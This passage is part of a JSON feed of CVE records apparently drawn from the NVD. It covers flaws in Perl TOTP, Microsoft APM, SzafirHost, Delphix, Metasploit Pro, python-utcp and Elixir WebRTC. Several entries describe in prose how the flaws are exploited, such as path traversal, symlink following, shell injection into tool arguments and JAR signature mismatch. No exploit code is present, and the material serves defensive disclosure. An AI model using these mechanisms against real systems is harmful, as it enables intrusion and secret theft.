exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T19:17:00.913Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44826","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44826","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44826","type":"primary","publishedAt":"2026-05-15T19:17:00.913Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-46474","cveId":"CVE-2026-46474","aliases":[],"kind":"vulnerability","title":"Trog::TOTP versions before 1.006 for Perl generate secrets using rand.","summary":"Trog::TOTP versions before 1.006 for Perl generate secrets using rand.\n\nSecrets were generated using Perl's built-in rand function, which is predictable and unsuitable for security usage.","detail":"Trog::TOTP versions before 1.006 for Perl generate secrets using rand.\n\nSecrets were generated using Perl's built-in rand function, which is predictable and unsuitable for security usage.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T18:16:26.053Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46474","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-46474","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46474","type":"primary","publishedAt":"2026-05-15T18:16:26.053Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45539","cveId":"CVE-2026-45539","aliases":[],"kind":"vulnerability","title":"Microsoft APM is an open-source, community-driven dependency manager for AI agents.","summary":"Microsoft APM is an open-source, community-driven dependency manager for AI agents. From 0.5.4 to 0.12.4, two primitive integrators in apm-cli enumerate package files with bare Path.glob() / Path.rglob() calls and read each match with Path.read_text(), transparently following symbolic links. A symlink committed inside a remote APM dependency under .apm/prompts/<x>.prompt.md or .apm/agents/<x>.agent.md is preserved verbatim into apm_modules/ on clone and then dereferenced during integration, with the resolved content written as a regular file into the project's deploy directories. The package content_hash, the pre-deploy SecurityGate scan, and apm audit do not flag this. The deploy roots are not added to the auto-generated .gitignore, so the resulting files are staged by git add by default. This vulnerability is fixed in 0.13.0.","detail":"Microsoft APM is an open-source, community-driven dependency manager for AI agents. From 0.5.4 to 0.12.4, two primitive integrators in apm-cli enumerate package files with bare Path.glob() / Path.rglob() calls and read each match with Path.read_text(), transparently following symbolic links. A symlink committed inside a remote APM dependency under .apm/prompts/<x>.prompt.md or .apm/agents/<x>.agent.md is preserved verbatim into apm_modules/ on clone and then dereferenced during integration, with the resolved content written as a regular file into the project's deploy directories. The package content_hash, the pre-deploy SecurityGate scan, and apm audit do not flag this. The deploy roots are not added to the auto-generated .gitignore, so the resulting files are staged by git add by default. This vulnerability is fixed in 0.13.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T17:16:48.887Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45539","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45539","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45539","type":"primary","publishedAt":"2026-05-15T17:16:48.887Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44641","cveId":"CVE-2026-44641","aliases":[],"kind":"vulnerability","title":"Microsoft APM is an open-source, community-driven dependency manager for AI agents.","summary":"Microsoft APM is an open-source, community-driven dependency manager for AI agents. Prior to 0.8.12, Microsoft APM normalizes marketplace plugins by copying plugin components referenced in plugin.json into .apm/. The manifest fields agents, skills, commands, and hooks are attacker-controlled, but the implementation does not enforce that those paths remain inside the plugin directory. A malicious plugin can therefore use absolute paths or ../ traversal paths to copy arbitrary readable host files or directories from the installer's machine during apm install. This vulnerability is fixed in 0.8.12.","detail":"Microsoft APM is an open-source, community-driven dependency manager for AI agents. Prior to 0.8.12, Microsoft APM normalizes marketplace plugins by copying plugin components referenced in plugin.json into .apm/. The manifest fields agents, skills, commands, and hooks are attacker-controlled, but the implementation does not enforce that those paths remain inside the plugin directory. A malicious plugin can therefore use absolute paths or ../ traversal paths to copy arbitrary readable host files or directories from the installer's machine during apm install. This vulnerability is fixed in 0.8.12.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T17:16:47.633Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44641","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44641","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44641","type":"primary","publishedAt":"2026-05-15T17:16:47.633Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44088","cveId":"CVE-2026-44088","aliases":[],"kind":"vulnerability","title":"SzafirHost verifies the signature of the downloaded JAR file using class JarInputStream (reading from the beginning of the file), but loads classes using class...","summary":"SzafirHost verifies the signature of the downloaded JAR file using class JarInputStream (reading from the beginning of the file), but loads classes using class JarFile/URLClassLoader (reading the Central Directory from the end). It can lead to remote code execution by allowing an attacker to combine a genuine, signed JAR file with a malicious ZIP file, causing the verification to pass but the malicious class to be loaded.\n\n\nThis issue was fixed in version 1.2.1.","detail":"SzafirHost verifies the signature of the downloaded JAR file using class JarInputStream (reading from the beginning of the file), but loads classes using class JarFile/URLClassLoader (reading the Central Directory from the end). It can lead to remote code execution by allowing an attacker to combine a genuine, signed JAR file with a malicious ZIP file, causing the verification to pass but the malicious class to be loaded.\n\n\nThis issue was fixed in version 1.2.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T09:16:16.307Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44088","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44088","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44088","type":"primary","publishedAt":"2026-05-15T09:16:16.307Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8654","cveId":"CVE-2026-8654","aliases":[],"kind":"vulnerability","title":"Improper input validation in Delphix Continuous Data connectors allows an authenticated user to execute arbitrary operating system commands on the staging or target host.","summary":"Improper input validation in Delphix Continuous Data connectors allows an authenticated user to execute arbitrary operating system commands on the staging or target host.","detail":"Improper input validation in Delphix Continuous Data connectors allows an authenticated user to execute arbitrary operating system commands on the staging or target host.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T07:16:20.397Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8654","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8654","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8654","type":"primary","publishedAt":"2026-05-15T07:16:20.397Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-7373","cveId":"CVE-2026-7373","aliases":[],"kind":"vulnerability","title":"Rapid7 Metasploit Pro is vulnerable to a local privilege escalation attack that allows a user to gain SYSTEM level control of a Windows host.","summary":"Rapid7 Metasploit Pro is vulnerable to a local privilege escalation attack that allows a user to gain SYSTEM level control of a Windows host. When started the metasploitPostgreSQL service would start the postgres.exe child process which would in turn load an OpenSSL configuration file from a static location. This static location would be writable by a pre-existing \"vagrant\" user, if they already existed on the system. Metasploit does not create local accounts, an Administrator would need to create it. By planting a crafted openssl.cnf file an attacker can trick the high-privilege service into executing arbitrary commands. This effectively permits the unprivileged vagrant user to bypass security controls and achieve a full host compromise under the agent's SYSTEM level access.","detail":"Rapid7 Metasploit Pro is vulnerable to a local privilege escalation attack that allows a user to gain SYSTEM level control of a Windows host. When started the metasploitPostgreSQL service would start the postgres.exe child process which would in turn load an OpenSSL configuration file from a static location. This static location would be writable by a pre-existing \"vagrant\" user, if they already existed on the system. Metasploit does not create local accounts, an Administrator would need to create it. By planting a crafted openssl.cnf file an attacker can trick the high-privilege service into executing arbitrary commands. This effectively permits the unprivileged vagrant user to bypass security controls and achieve a full host compromise under the agent's SYSTEM level access.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T03:16:23.270Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-7373","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-7373","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7373","type":"primary","publishedAt":"2026-05-15T03:16:23.270Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45370","cveId":"CVE-2026-45370","aliases":[],"kind":"vulnerability","title":"python-utcp is the python implementation of UTCP.","summary":"python-utcp is the python implementation of UTCP. Prior to 1.1.3, _prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with CVE-2026-45369, an attacker can exfiltrate all process-level secrets in a single tool call. This vulnerability is fixed in 1.1.3.","detail":"python-utcp is the python implementation of UTCP. Prior to 1.1.3, _prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with CVE-2026-45369, an attacker can exfiltrate all process-level secrets in a single tool call. This vulnerability is fixed in 1.1.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T21:16:48.350Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45370","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45370","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45370","type":"primary","publishedAt":"2026-05-14T21:16:48.350Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45369","cveId":"CVE-2026-45369","aliases":[],"kind":"vulnerability","title":"python-utcp is the python implementation of UTCP.","summary":"python-utcp is the python implementation of UTCP. Prior to 1.1.3, the _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands. This vulnerability is fixed in 1.1.3.","detail":"python-utcp is the python implementation of UTCP. Prior to 1.1.3, the _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands. This vulnerability is fixed in 1.1.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T21:16:48.220Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45369","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45369","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45369","type":"primary","publishedAt":"2026-05-14T21:16:48.220Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44700","cveId":"CVE-2026-44700","aliases":[],"kind":"vulnerability","title":"Elixir WebRTC is an Elixir implementation of the W3C WebRTC API.","summary":"Elixir WebRTC is an Elixir implementation of the W3C WebRTC API. Prior to 0.15.1 and 0.16.1, missing DTLS peer certificate fingerprint validation in the DTLS client (active) role removes one side of WebRTC's mutual authentication. The bug is not independently exploitable for media interception in standard deployments, but enables a full man-in-the-middle attack when chained with insecure signalling or a peer with similar validation gaps. This vulnerability is fixed in 0.15.1 and 0.16.1.","detail":"Elixir WebRTC is an Elixir implementation of the W3C WebRTC API. Prior to 0.15.1 and 0.16.1, missing DTLS peer certificate fingerprint validation in the DTLS client (active) role removes one side of WebRTC's mutual authentication. The bug is not independently exploitable for media interception in standard deployments, but enables a full man-in-the-middle attack when chained with insecure signalling or a peer with similar validation gaps. This vulnerability is fixed in 0.15.1 and 0.16.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T21:16:47.907Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44700","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44700","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44700","type":"primary","publishedAt":"2026-05-14T21:16:47.907Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 